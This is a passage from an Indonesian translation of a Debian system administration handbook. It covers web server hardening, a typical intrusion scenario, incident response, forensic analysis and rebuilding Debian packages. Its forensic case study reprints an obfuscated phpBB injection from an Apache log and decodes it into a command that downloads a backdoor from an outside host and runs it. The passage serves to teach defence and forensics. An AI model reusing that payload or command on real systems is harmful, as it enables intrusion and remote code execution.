Apache 2 menyertakan modul yang memungkinkan penyaringan permintaan HTTP masuk. Hal ini memungkinkan memblokir beberapa vektor serangan. Sebagai contoh, membatasi panjang parameter dapat mencegah buffer overflow. Lebih umum, kita dapat memvalidasi parameter sebelum mereka diberikan ke aplikasi web dan membatasi akses mengikuti banyak kriteria. Ini bahkan dapat dikombinasikan dengan pemutakhiran firewall dinamis, sehingga klien yang melanggar salah satu aturan dilarang mengakses server web untuk jangka waktu yang diberikan.

Mengatur pemeriksaan bisa merupakan tugas yang panjang dan rumit, tapi itu bisa membayar lunas ketika aplikasi web yang digunakan memiliki track record yang meragukan terkait masalah keamanan.

mod-security2 (dalam paket libapache2-mod-security2) adalah utama modul tersebut. Itu bahkan datang dengan banyak aturan siap pakai (dalam paket modsecurity-crs) yang Anda dapat dengan mudah aktifkan.

Konsekuensi dari intrusi akan memiliki berbagai tingkat kejelasan tergantung pada motivasi dari penyerang. Script kiddies hanya menerapkan resep yang mereka temukan pada situs web; paling sering, mereka merusak halaman web atau menghapus data. Dalam kasus lebih halus, mereka menambah isi tak terlihat pada halaman web sehingga dapat meningkatkan arahan ke situs mereka sendiri di mesin pencari.

Penyerang yang lebih maju akan bertindak lebih dari itu. Skenario bencana yang bisa berlanjut dengan cara berikut: penyerang memperoleh kemampuan untuk mengeksekusi perintah sebagai pengguna www-data, tetapi mengeksekusi perintah memerlukan banyak manipulasi. Untuk membuat hidup mereka lebih mudah, mereka menginstal aplikasi web lainnya yang dirancang khusus untuk jarak jauh melaksanakan berbagai jenis perintah, seperti meramban sistem berkas, memeriksa izin, mengunggah atau mengunduh berkas, mengeksekusi perintah, dan bahkan menyediakan shell jaringan. Sering kali, kerentanan akan memungkinkan menjalankan perintah wget yang akan mengunduh beberapa malware ke /tmp/, kemudian mengeksekusinya. Malware sering diunduh dari situs web asing yang sebelumnya terkompromi, untuk menutupi jejak dan membuat lebih sulit untuk mengetahui asal-usul serangan sebenarnya.

Pada titik ini, si penyerang memiliki cukup kebebasan bergerak sehingga mereka sering menginstal bot IRC (robot yang menghubungkan ke IRC server dan dapat dikendalikan oleh saluran ini). Bot ini sering digunakan untuk berbagi berkas ilegal (salinan film atau perangkat lunak yang tidak sah, dan sebagainya). Penyerang yang berkemauan kuat mungkin ingin pergi lebih jauh. Akun www-data tidak mengizinkan akses penuh ke mesin, dan penyerang akan mencoba untuk mendapatkan hak akses administrator. Sekarang, ini seharusnya tidak mungkin, tetapi jika aplikasi web tidak mutakhir, kemungkinan bahwa kernel dan program lain sudah ketinggalan jaman juga; ini kadang-kadang mengikuti keputusan dari administrator yang, meskipun ia mengetahui tentang kerentanan, mengabaikan untuk meningkatkan sistem karena ada tidak ada pengguna lokal. Penyerang kemudian dapat mengambil keuntungan dari kerentanan kedua ini untuk mendapatkan akses root.

KOSAKATA Eskalasi privilese

Istilah ini mencakup apa pun yang dapat digunakan untuk memperoleh izin lebih daripada yang normalnya mesti dimiliki pengguna tertentu. Program sudo dirancang dengan tujuan memberikan hak administratif untuk beberapa pengguna. Tetapi istilah yang sama juga digunakan untuk menggambarkan tindakan penyerang yamg mengeksploitasi kerentanan untuk mendapatkan hak-hak yang tidak semestinya.

Sekarang penyerang menguasai mesin; mereka biasanya akan mencoba untuk mempertahankan akses istimewa ini untuk selama mungkin. Ini melibatkan menginstal rootkit, sebuah program yang akan menggantikan beberapa komponen sistem sehingga penyerang akan mampu mendapatkan hak akses administrator lagi di kemudian hari; rootkit juga mencoba menyembunyikan keberadaannya sendiri serta jejak intrusi. Program ps yang telah diubah akan menghilangkan beberapa proses dari daftar, netstat tidak akan menampilkan beberapa koneksi aktif, dan seterusnya. Menggunakan akses root, penyerang dapat mengamati seluruh sistem, tetapi tidak menemukan data penting; sehingga mereka akan mencoba mengakses mesin lain dalam jaringan perusahaan. Menganalisis akun administrator dan berkas riwayat, penyerang menemukan mesin apa yang rutin diakses. Dengan mengganti sudo atau ssh dengan program yang telah diubah, penyerang dapat mencegat beberapa kata sandi administrator, yang akan mereka gunakan pada server terdeteksi… dan gangguan selanjutnya dapat menyebar.

Ini adalah skenario mimpi buruk yang dapat dicegah dengan beberapa langkah. Beberapa bagian selanjutnya menjelaskan beberapa langkah ini.

14.6.3. Memilih Perangkat Lunak Secara Bijak

Setelah potensi masalah keamanan yang diketahui, mereka harus dipertimbangkan di setiap langkah proses menggelar layanan, terutama ketika memilih perangkat lunak untuk dipasang. Banyak situs web, seperti SecurityFocus.com, menyimpan daftar kerentanan yang baru ditemukan, yang dapat memberikan ide dari catatan kinerja keamanan sebelum perangkat lunak tertentu digelar. Tentu saja, informasi ini harus diseimbangkan terhadap popularitas perangkat lunak tersebut: program yang lebih banyak digunakan adalah target yang lebih menarik, dan itu akan lebih cermat diteliti sebagai akibatnya. Di sisi lain, sebuah program ceruk mungkin penuh lubang keamanan yang tidak pernah dipublikasikan karena kurangnya minat dalam audit keamanan.

KOSAKATA Audit Keamanan

Audit keamanan adalah proses membaca tuntas dan menganalisis kode sumber dari beberapa perangkat lunak, mencari potensi kerentanan keamanan yang mungkin ada. Audit tersebut biasanya proaktif dan mereka dilakukan untuk memastikan bahwa suatu program yang memenuhi persyaratan keamanan tertentu.

Di dunia perangkat lunak bebas, umumnya ada cukup ruang untuk pilihan, dan memilih satu perangkat lunak atas yang lain harus merupakan keputusan yang didasarkan pada kriteria yang berlaku secara lokal. Lebih banyak fitur berarti peningkatan risiko kerentanan yang bersembunyi di balik kode; memilih program yang paling canggih untuk suatu tugas mungkin sebenarnya menjadi kontra-produktif, dan pendekatan yang lebih baik biasanya memilih program paling sederhana yang memenuhi persyaratan.

KOSAKATA Zero-day exploit

Serangan zero-day exploitasi sulit untuk dicegah; istilah ini mencakup kerentanan yang belum diketahui untuk para penulis program.

14.6.4. Mengelola Mesin Secara Utuh

Sebagian besar distribusi Linux menginstal secara default sejumlah layanan Unix dan banyak alat. Dalam banyak kasus, layanan dan alat-alat ini tidak diperlukan untuk tujuan sebenarnya saat administrator menyiapkan mesin. Sebagai panduan umum dalam masalah keamanan, perangkat lunak yang tidak diperlukan lebih baik dihapus. Memang, tidak ada gunanya dalam mengamankan server FTP, jika kerentanan di layanan lain yang tidak terpakai dapat digunakan untuk mendapatkan hak istimewa administrator di seluruh mesin.

Dengan alasan yang sama, firewall sering dikonfigurasi untuk hanya membolehkan akses ke layanan yang memang dimaksudkan dapat diakses oleh publik.

Komputer saat ini sudah cukup kuat untuk memungkinkan mewadahi beberapa layanan pada mesin fisik yang sama. Dari sudut pandang ekonomi, kemungkinanitu menarik: hanya satu komputer untuk diadministrasi, konsumsi energi yang lebih rendah, dan sebagainya. Dari sudut pandang keamanan, namun, pilihan seperti itu dapat menjadi masalah. Salah satu layanan yang terkompromi dapat membawa akses ke seluruh mesin, yang pada gilirannya mengkompromi layanan lain yang diwadahi pada komputer yang sama. Risiko ini dapat dikurangi dengan mengisolasi layanan. Ini dapat dicapai baik dengan virtualisasi (setiap layanan yang di-host dalam mesin virtual atau container terdedikasi), atau dengan AppArmor/SELinux (setiap layanan daemon memiliki seperangkat izin yang dirancang secara memadai).

14.6.5. Pengguna Adalah Pemain

Membahas keamanan segera membawa ke pikiran perlindungan terhadap serangan oleh peretas anonim yang bersembunyi di hutan Internet; tetapi kenyataan yang sering dilupakan adalah bahwa risiko juga berasal dari dalam: seorang pegawai yang akan keluar dari perusahaan bisa mengunduh berkas sensitif pada proyek-proyek penting dan menjual mereka ke pesaing, seorang salesman lalai bisa meninggalkan meja mereka tanpa mengunci sesi mereka selama pertemuan dengan calon pelanggan baru, pengguna yang kikuk bisa salah menghapus direktori yang keliru, dan seterusnya.

Respon terhadap risiko ini dapat melibatkan solusi teknis: tidak lebih dari izin yang diperlukan yang harus diberikan kepada pengguna, dan backup secara teratur adalah suatu keharusan. Tapi dalam banyak kasus, perlindungan yang sesuai akan melibatkan pelatihan pengguna untuk menghindari risiko.

LIHAT CEPAT autolog

Paket autolog menyediakan suatu program yang secara otomatis memutus pengguna tak aktif setelah suatu masa tunggu yang dapat dikonfigurasi. Itu juga mengizinkan mematikan proses pengguna yang tetap berjalan setelah sesi berakhir, sehingga mencegah pengguna menjalankan daemon.

14.6.6. Keamanan Fisik

Tidak ada gunanya mengamankan layanan dan jaringan jika komputer itu sendiri tidak dilindungi. Data penting layak disimpan pada hard disk hot-swap dalam larik RAID, karena hard disk pada akhirnya bisa gagal dan ketersediaan data adalah suatu keharusan. Tetapi jika setiap petugas pengirim pizza dapat memasuki bangunan, menyelinap ke ruang server dan melarikan diri dengan beberapa hard disk yang dipilih, bagian penting dari keamanan tidak terpenuhi. Siapa yang dapat memasuki ruang server? Apakah akses dipantau? Pertanyaan-pertanyaan ini layak pertimbangan (dan dijawab) ketika keamanan fisik sedang dievaluasi.

Keamanan fisik juga mencakup mempertimbangkan risiko kecelakaan seperti kebakaran. Risiko khusus ini adalah apa membenarkan menyimpan cadangan media di bangunan terpisah, atau setidaknya di brankas tahan api.

14.6.7. Tanggung Jawab Hukum

Administrator, sedikit banyak secara implisit, dipercaya oleh pengguna mereka serta pengguna jaringan pada umumnya. Oleh karena itu mereka harus menghindari setiap kelalaian yang bisa dimanfaatkan oleh orang-orang jahat.

Penyerang yang mengambil kendali mesin Anda kemudian menggunakannya sebagai markas depan (dikenal sebagai "sistem relay") untuk melakukan kegiatan-kegiatan jahat lainnya dapat menyebabkan masalah hukum untuk Anda, karena pihak yang diserang awalnya akan melihat serangan datang dari sistem Anda, dan karena itu menganggap Anda sebagai penyerang (atau sebagai kaki tangan). Dalam banyak kasus, penyerang akan menggunakan server Anda sebagai relay untuk mengirim spam, yang seharusnya tidak memiliki dampak jauh (kecuali berpotensi pendaftaran pada daftar hitam yang dapat membatasi kemampuan Anda untuk mengirim surel yang sah), tetapi bagaimanapun tidak akan menyenangkan. Dalam kasus lain, masalah lebih penting dapat disebabkan oleh mesin Anda, misalnya serangan denial of service (DoS, penolakan layanan). Ini kadang-kadang akan menyebabkan hilangnya pendapatan, karena layanan yang sah akan tidak tersedia dan data dapat dihancurkan; kadang-kadang ini akan juga menyiratkan biaya nyata, karena pihak yang diserang dapat memulai proses perkara hukum terhadap Anda. Pemegang hak dapat menuntut Anda jika salinan tidak sah dari sebuah karya yang dilindungi oleh hukum hak cipta dibagikan dari server Anda, serta perusahaan lain yang dipaksa oleh perjanjian tingkat layanan jika mereka terikat untuk membayar hukuman setelah serangan dari mesin Anda.

Ketika situasi ini terjadi, mengklaim tidak bersalah biasanya tidak cukup; setidaknya, Anda akan perlu bukti yang meyakinkan yang menunjukkan aktivitas tersangka pada sistem Anda yang datang dari alamat IP tertentu. Ini tidak akan mungkin jika Anda mengabaikan rekomendasi dari bab ini dan membiarkan penyerang mendapatkan akses ke akun yang istimewa (root, khususnya) dan menggunakannya untuk menutupi jejak mereka.

14.7. Berurusan dengan Mesin yang Terkompromi

Meskipun dengan niat baik dan seberapa pun hati-hatinya kebijakan keamanan dirancang, administrator akhirnya menghadapi tindakan pembajakan. Bagian ini memberikan beberapa panduan tentang cara untuk bereaksi ketika dihadapkan dengan keadaan tidak beruntung ini.

14.7.1. Mendeteksi dan Melihat Intrusi Penyusup

Langkah pertama bereaksi terhadap peretasan adalah sadar atas aksi sedemikian. Hal ini tidak jelas, terutama tanpa pemantauan infrastruktur yang memadai.

Aksi peretasan sering tidak terdeteksi sampai mereka memiliki konsekuensi langsung pada layanan sah yang diwadahi pada mesin, seperti koneksi melambat, beberapa pengguna tidak berhasil menyambung, atau jenis lain dari kerusakan. Dihadapkan dengan masalah ini, administrator perlu melihat dengan baik di mesin dan hati-hati meneliti apa yang berulah. Ini biasanya saat mereka menemukan sebuah proses yang tidak biasa, misalnya yang bernama apache bukan /usr/sbin/apache2 yang standar. Jika kita mengikuti contoh, hal yang harus dilakukan adalah untuk mencatat dengan pengidentifikasi prosesnya, dan memeriksa /proc/pid/exe untuk melihat program apa yang sedang menjalankan proses ini:

# ls -al /proc/3719/exe

lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Sebuah program yang dipasang di bawah /var/tmp/ dan berjalan sebagai server web? Tidak ada sisa keraguan lagi, mesin terkompromi.

Ini adalah hanya salah satu contoh, tetapi banyak petunjuk lain yang dapat memperingatkan administrator:

- pilihan untuk suatu perintah yang tidak lagi bekerja; versi perangkat lunak yang diaku oleh perintah tidak cocok dengan versi yang seharusnya diinstal sesuai dpkg;

- prompt perintah atau sapaan sesi yang menunjukkan bahwa sambungan terakhir datang dari server yang tidak diketahui di benua lain;

- kesalahan yang disebabkan oleh partisi /tmp/ menjadi penuh, yang ternyata penuh oleh salinan film ilegal;

- dan seterusnya.

14.7.2. Menempatkan Server Luring

Dalam setiap kasus kecuali yang paling eksotis, peretasan berasal dari jaringan, dan penyerang perlu suatu jaringan yang bekerja untuk mencapai target mereka (mengakses data rahasia, berbagi berkas ilegal, menyembunyikan identitas mereka dengan menggunakan mesin sebagai relay dan seterusnya). Mencabut komputer dari jaringan akan mencegah penyerang mencapai target tersebut, jika mereka belum berhasil melakukannya.

Ini hanya dapat dilakukan jika server fisik dapat diakses. Ketika server diwadahi di pusat data penyedia hosting setengah jalan menyeberang negara, atau jika server tidak dapat diakses karena alasan lain, biasanya ide yang baik untuk memulai dengan mengumpulkan beberapa informasi penting (lihat Bagian 14.7.3, “Menjaga Segala Sesuatu yang Dapat Digunakan Sebagai Bukti”, Bagian 14.7.5, “Analisis Forensik”, dan Bagian 14.7.6, “Merekonstruksi Skenario Serangan”), kemudian mengisolasi server sebanyak mungkin dengan menutup sebanyak mungkin layanan (biasanya, semua selain sshd). Kasus ini masih canggung, karena kita tidak mengesampingkan kemungkinan penyerang memiliki akses SSH seperti administrator miliki; hal ini membuat lebih sulit untuk "membersihkan" mesin.

14.7.3. Menjaga Segala Sesuatu yang Dapat Digunakan Sebagai Bukti

Memahami serangan dan/atau melibatkan tindakan hukum terhadap para penyerang memerlukan mengambil salinan semua elemen yang penting; ini termasuk isi dari hard disk, daftar semua proses yang berjalan, dan daftar semua koneksi yang terbuka. Isi dari RAM juga bisa digunakan, tetapi jarang dipakai dalam praktek.

Dalam situasi panas, administrator sering tergoda untuk melakukan banyak pemeriksaan pada mesin yang terkompromi; hal ini biasanya bukan ide yang baik. Setiap perintah berpotensi diubah dan dapat menghapus potongan-potongan bukti. Pemeriksaan harus dibatasi untuk set minimalis (netstat -tupan untuk koneksi jaringan, ps auxf untuk daftar proses, ls -alR /proc/[0-9]* untuk sedikit informasi lebih lanjut tentang program yang berjalan), dan setiap pemeriksaan yang dilakukan mesti secara hati-hati dicatat di kertas.

HATI-HATI Analisis panas

Walaupun mungkin tampak menggoda untuk menganalisis sistem ketika sedang berjalan, terutama ketika server tidak secara fisik terjangkau, ini sebaiknya dihindari: Anda tidak dapat mempercayai program-program yang saat ini terinstal di sistem yang terkompromi. Sangat mungkin bagi perintah ps yang diubah untuk menyembunyikan beberapa proses, atau untuk ls yang diubah untuk menyembunyikan berkas; kadang-kadang bahkan kernel terkompromi!

Jika sebuah analisis panas masih diperlukan, perlu berhati-hati untuk hanya menggunakan program yang dikenal-baik. Cara yang baik untuk melakukan itu adalah dengan memiliki CD rescue dengan program-program yang murni, atau share jaringan hanya-baca. Namun, penanggulangan itu mungkin tidak akan cukup jika kernel sendiri terganggu.

Setelah elemen "dinamis" sudah diselamatkan, langkah berikutnya adalah untuk menyimpan image lengkap dari hard disk. Membuat image seperti itu mustahil jika sistem berkas masih berubah, itulah sebabnya itu harus dikait ulang hanya-baca. Solusi yang paling sederhana adalah sering dengan menghentikan server secara brutal (setelah menjalankan sync) dan reboot memakai CD rescue. Masing-masing partisi akan disalin dengan alat seperti dd; image ini dapat dikirim ke server lain (mungkin dengan alat nc yang sangat nyaman). Kemungkinan lain mungkin bahkan lebih sederhana: hanya mendapatkan disk dari mesin dan menggantinya dengan yang baru yang dapat diformat dan diinstal ulang.

14.7.4. Menginstal ulang

Server tidak boleh kembali daring tanpa instalasi ulang lengkap. Jika kompromi parah (jika hak akses administratif diperoleh), hampir tidak ada cara lain untuk memastikan bahwa kita bisa menyingkirkan semua yang mungkin telah ditinggalkan oleh penyerang (terutama backdoor). Tentu saja, semua pembaruan keamanan terkini juga dapat diterapkan untuk menambal kerentanan yang digunakan oleh penyerang. Idealnya, menganalisis serangan harus mengarahkan pada vektor serangan ini, sehingga seseorang dapat yakin benar-benar memperbaikinya; bila tidak, kita hanya dapat berharap bahwa kerentanan itu salah satu dari yang diperbaiki oleh pembaruan.

Instal ulang remote server ini tidak selalu mudah; ini mungkin melibatkan bantuan dari perusahaan hosting, karena tidak semua perusahaan tersebut menyediakan instalasi ulang otomatis sistem. Perlu hati-hati untuk tidak menginstal ulang mesin dari backup yang diambil setelah terkompromi. Idealnya, hanya data yang harus dipulihkan, perangkat lunak sebenarnya harus diinstal ulang dari media instalasi.

14.7.5. Analisis Forensik

Sekarang setelah layanan yang telah dipulihkan, saatnya untuk melihat lebih dekat pada image disk sistem yang terkompromi untuk memahami vektor serangan. Ketika mengait image ini, perlu hati-hati untuk menggunakan opsi ro, nodev, noexec, noatime untuk menghindari mengubah isi (termasuk stempel waktu akses ke berkas) atau kesalahan menjalankan program yang terkompromi.

Merunut ulang skenario serangan biasanya melibatkan mencari segala sesuatu yang dimodifikasi dan dijalankan:

- Berkas .bash_history sering menyediakan bacaan yang sangat menarik;

- begitu pula daftar berkas yang baru saja dibuat, dimodifikasi, atau diakses;

- perintah string membantu mengidentifikasi program yang dipasang oleh penyerang, dengan mengekstrak string teks dari biner;

- berkas log dalam /var/log/ sering memungkinkan merekonstruksi kronologi peristiwa;

- alat khusus juga memungkinkan memulihkan isi berkas yang berpotensi dihapus, termasuk berkas log yang oleh penyerang sering dihapus.

Beberapa operasi ini dapat dibuat lebih mudah dengan perangkat lunak khusus. Secara khusus, paket sleuthkit menyediakan banyak alat untuk menganalisis sebuah sistem berkas. Penggunaan mereka dibuat lebih mudah dengan antarmuka grafis Autopsy Forensic Browser (dalam paket autopsy). Beberapa distribusi Linux memiliki image "live install" dan memuat banyak program untuk analisis forensic, seperti misalnya Kali Linux (lihat Bagian A.8, “Kali Linux”), dengan mode forensic-nya, BlackArchLinux[7] dan Grml-Forensic yang komersial, berbasis pada Grml (lihat Bagian A.6, “Grml”).

14.7.6. Merekonstruksi Skenario Serangan

Semua elemen yang dikumpulkan selama analisis harus sesuai pas seperti potongan-potongan dalam teka-teki; penciptaan berkas mencurigakan pertama sering berkorelasi dengan log yang membuktikan pelanggaran. Contoh dunia nyata seharusnya lebih eksplisit daripada celotehan panjang yang teoritis.

Log berikut adalah ekstrak dari access.log Apache:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Contoh ini cocok dengan eksploitasi kerentanan keamanan tua di phpBB.

→ http://secunia.com/advisories/13239/

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

Dekode URL panjang ini mengarah pada pemahaman bahwa penyerang berhasil menjalankan beberapa kode PHP, yaitu: system("cd/tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Memang, berkas bd ditemukan di /tmp/. Menjalankan strings /mnt/tmp/bd mengembalikan, antara lain string, PsychoPhobia Backdoor is starting.... Ini benar-benar tampak seperti backdoor.

Beberapa waktu kemudian, akses ini digunakan untuk mengunduh, menginstal, dan menjalankan bot IRC yang terhubung ke jaringan IRC bawah tanah. Bot bisa kemudian dikendalikan melalui protokol ini dan diperintahkan untuk mengunduh berkas untuk dibagikan. Program ini bahkan memiliki berkas log sendiri:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)

** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT

** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024

** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating

** 2004-11-29-19:50:20: DCC CHAT Correct password

(...)

** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)

(...)

** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)

(...)

** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)

(...)

** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Jejak ini menunjukkan bahwa dua berkas video telah disimpan pada server melalui alamat IP 82.50.72.202.

Secara paralel, penyerang juga mengunduh berkas tambahan, /tmp/pt dan /tmp/loginx. Menjalankan berkas ini melalui strings mengarah ke string seperti Shellcode placed at 0x%08lx dan Now wait for suid shell.... Ini terlihat seperti program-program yang mengeksploitasi kelemahan lokal untuk mendapatkan hak akses administratif. Apakah mereka mencapai target mereka? Dalam kasus ini, mungkin tidak, karena tidak ada berkas yang tampak telah telah dimodifikasi setelah pelanggaran awal.

Dalam contoh ini, seluruh penyusupan telah direkonstruksi, dan dapat ditarik kesimpulan bahwa penyerang telah mampu mengambil keuntungan dari sistem yang terkompromi selama tiga hari; tapi unsur yang paling penting dalam analisis adalah bahwa kerentanan telah diidentifikasi, dan administrator dapat yakin bahwa instalasi baru benar-benar memperbaiki kerentanan.

[7] https://blackarch.org

Bab 15. Membuat paket Debian

Sudah menjadi hal umum bagi administrator yang rutin menangani paket Debian, pada suatu saat ingin membuat paket Debian-nya sendiri, atau memodifikasi paket yang sudah ada. Bab ini berusaha menjawab pertanyaan yang paling sering diajukan dalam topik paket Debian, dan menyediakan bagian-bagian yang diperlukan untuk memanfaatkan keunggulan infrastruktur Debian dengan cara terbaik. Dengan sedikit keberuntungan, setelah mencoba sendiri membuat paket Debian, bisa jadi Anda merasa tertarik untuk melanjutkan dan bergabung dengan proyek Debian itu sendiri!

15.1. Membangun ulang sebuah Paket dari Source-nya

Membangun ulang sebuah paket biner dibutuhkan dalam beberapa kondisi. Dalam kondisi tertentu, administrator membutuhkan fitur perangkat lunak yang mensyaratkan untuk di-compile dari source, dengan opsi kompilasi tertentu; pada kasus lain, perangkat yang dipaketkan dalam Debian yang terpasang tidak cukup anyar. Pada kasus kedua, administrator umumnya akan mem-build paket yang lebih terkini diambil dari Debian dengan versi yang lebih baru — seperti Testing atau bahkan Unstable — sehingga paket yang lebih baru ini dapat bekerja pada distribusi Stable mereka; operasi ini disebut dengan “backporting”. Seperti biasa, perlu waspada sebelum memutuskan melakukan tugas seperti itu, dengan memeriksa apakah sebelumnya sudah pernah dilakukan — pencarian cepat pada Debian Package Tracker untuk paket tersebut akan mengungkap informasi itu.

→ https://tracker.debian.org/

.

15.1.1. Mendapatkan Sumber

Membangun ulang sebuah paket Debian dimulai dengan mendapatkan kode sumber. Cara yang paling mudah adalah menggunakan perintah apt-get source nama-paket-sumber. Perintah ini membutuhkan baris deb-src pada berkas /etc/apt/sources.list, dan berkas indeks yang mutakhir (yaitu apt-get update). Kondisi ini harusnya sudah terpenuhi jika Anda mengikuti instruksi dari bab mengenai konfigurasi APT (lihat Bagian 6.1, “Mengisi Berkas sources.list”). Perhatikan, bahwa Anda akan mengunduh paket sumber dari versi Debian yang disebutkan dalam baris deb-src. Jika Anda membutuhkan versi lainnya, Anda dapat mengunduh secara manual dari cermin Debian atau dari situs web. Hal ini melibatkan dua atau tiga berkas (dengan ekstensi *.dsc — untuk Debian Source Control — *.tar.comp, dan terkadang *.diff.gz atau *.debian.tar.comp — comp dengan alternatif gz, bz2, atau xz tergantung perkakas kompresi yang digunakan), lalu jalankan perintah dpkg-source -x file.dsc. Jika berkas *.dsc dapat diakses langsung pada URL tertentu, terdapat cara yang lebih sederhana untuk mem-fetch-nya, yaitu dengan perintah dget URL. Perintah ini (yang dapat ditemukan di paket devscripts) mengambil berkas *.dsc pada alamat yang diberikan, menganalisis isinya, dan secara otomatis mengambil berkas atau berkas-berkas yang diacu di dalamnya. Sekali semua telah diunduh, itu memverifikasi integritas paket sumber yang diunduh memakai dscverify, dan itu mengekstraksi paket sumber (kecuali bila opsi -d atau --download-only dipakai. Ring kunci Debian diperlukan, kecuali bila opsi -u diberikan.

15.1.2. Membuat Perubahan

Mari kita gunakan paket samba sebagai contoh.

$ apt source samba

Reading package lists... Done

NOTICE: 'samba' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/samba-team/samba.git

Please use:

git clone https://salsa.debian.org/samba-team/samba.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 11.7 MB of source archives.

Get:1 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (dsc) [4,316 B]

Get:2 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (tar) [11.4 MB]

Get:3 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (diff) [252 kB]

Fetched 11.7 MB in 1s (9,505 kB/s)

dpkg-source: info: extracting samba in samba-4.9.5+dfsg

dpkg-source: info: unpacking samba_4.9.5+dfsg.orig.tar.xz

dpkg-source: info: unpacking samba_4.9.5+dfsg-5+deb10u1.debian.tar.xz

dpkg-source: info: using patch list from debian/patches/series

dpkg-source: info: applying 07_private_lib

dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch

[...]

Sumber dari paket sekarang tersedia di dalam direktori dengan nama paket sumber berikut dengan versinya (samba-4.9.5+dfsg); di sinilah kita akan bekerja untuk melakukan perubahan lokal.

Hal pertama yang perlu dilakukan adalah mengubah nomor versi paket, sehingga paket hasil rebuilt dapat dibedakan dari paket asalnya yang disediakan Debian. Dengan asumsi versi saat ini adalah 2:4.9.5+dfsg-5, kita dapat membuat versi 2:4.9.5+dfsg-5falcot1, yang dengan jelas menandakan asal dari paket. Hal ini membuat nomor versi paket lebih tinggi dari yang disediakan Debian, sehingga paket akan dengan mudah ter-install sebagai pemutakhiran dari paket asalnya. Perubahan seperti ini paling baik dihasilkan menggunakan perintah dch (Debian CHangelog) dari paket devscripts.

$ cd samba-4.9.5+dfsg

$ dch --local falcot

Perintah terakhir memanggil penyunting teks (sensible-editor — ini harus menjadi editor favorit Anda jika disebutkan di variabel lingkungan VISUAL atau EDITOR, dan penyunting default sebaliknya) untuk memungkinkan mendokumentasikan perbedaan yang dibawa oleh rebuild ini. Penyunting ini menunjukkan kepada kita bahwa dch sungguh mengubah berkas debian/changelog.

Saat perubahan pada opsi build diperlukan, perubahan perlu dibuat pada debian/rules, yang mendorong langkah-langkah pada proses build. Pada kasus yang paling sederhana, baris terkait konfigurasi awal (./configure …) atau pada build sesungguhnya ($(MAKE) … atau make …) dapat dengan mudah ditemukan. Jika perintah ini tidak dipanggil secara eksplisit, mereka merupakan efek samping dari perintah eksplisit lainnya, yang pada kasus tertentu mengacu pada dokumentasi mereka untuk mempelajari lebih lanjut bagaimana mengubah perilaku default. Dengan paket-paket yang memakai dh, Anda mungkin perlu menambah override untuk perintah dh_auto_configure atau dh_auto_build (lihat halaman manual masing-masing untuk penjelasan tentang bagaimana mencapai ini).

Tergantung pada perubahan lokal pada paket, pemutakhiran bisa jadi dibutuhkan dalam berkas debian/control, yang berisi deskripsi dari paket yang dihasilkan. Secara spesifik, berkas ini berisi baris Build-Depends yang mengendalikan daftar dependensi yang perlu dipenuhi pada paket yang dibangun. Hal ini seringkali mengacu pada versi paket yang ada di dalam distribusi dari sumber paket asal, namun tidak tersedia di dalam distribusi yang digunakan untuk rebuild. Tidak ada cara otomatis untuk menentukan jika dependensi benar-benar dibutuhkan atau hanya disebutkan untuk menjamin bahwa build hanya dicoba dengan versi terbaru dari pustaka — ini merupakan satu-satunya cara untuk memaksa autobuilder untuk menggunakan versi paket yang diberikan selama proses build, hal inilah mengapa Debian maintainer seringkali menggunakan versi build-dependencies yang ketat.

